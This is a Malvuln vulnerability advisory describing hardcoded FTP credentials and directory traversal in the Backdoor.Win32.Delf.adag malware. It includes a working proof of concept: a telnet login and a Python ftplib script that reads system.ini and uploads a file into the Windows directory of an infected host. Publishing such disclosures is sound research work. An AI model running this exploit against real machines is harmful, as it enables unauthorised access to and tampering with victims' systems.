Backdoor.Win32.Delf.adag Hardcoded Credentials / Traversal

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/0e997ab441cd8c35010dd8db98aae2c2.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Delf.adag  
Vulnerability: Weak Hardcoded Credentials  
Description: The backdoor runs an FTP server listening on TCP port 21 and uses weak hardcoded credentials which can be easily found using strings util. Credentials are located at memory offsets 0042C5CF and 0042C5DE, files can be uploaded or downloaded using dir traversal chars "../" outside of its main dir.  
Type: PE32  
MD5: 0e997ab441cd8c35010dd8db98aae2c2  
Vuln ID: MVID-2021-0108  
Dropped files:   
Disclosure: 02/23/2021   
  
  
Exploit/PoC:  
TELNET x.x.x.x 21  
220 Indy FTP Server ready.   
USER user   
331 User name okay, need password.   
PASS pass   
230 User logged in, proceed.   
  
  
import ftplib, time  
MALWARE_HOST="x.x.x.x"   
USR='user'  
PWD='pass'  
  
#Download system.ini  
def getFile(ftp, fname):  
try:  
ftp.retrbinary("RETR " + fname ,open(fname, 'wb').write)  
except:  
print("Error")  
  
ftp = ftplib.FTP(MALWARE_HOST)  
ftp.login(USR, PWD)  
  
print(ftp.cwd('../../../../Windows/'))   
print(ftp.pwd())  
getFile(ftp, 'system.ini')  
  
time.sleep(1)  
  
#Upload files to Windows dir  
def upload(ftp, _file):  
s = ftplib.FTP(MALWARE_HOST,USR,PWD)  
f = open(_file,"rb")   
print(s.storbinary("STOR "+"../../../../Windows/"+_file, f))   
f.close()   
s.quit()  
  
upload(ftp, "1.js")  
ftp.quit()  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
`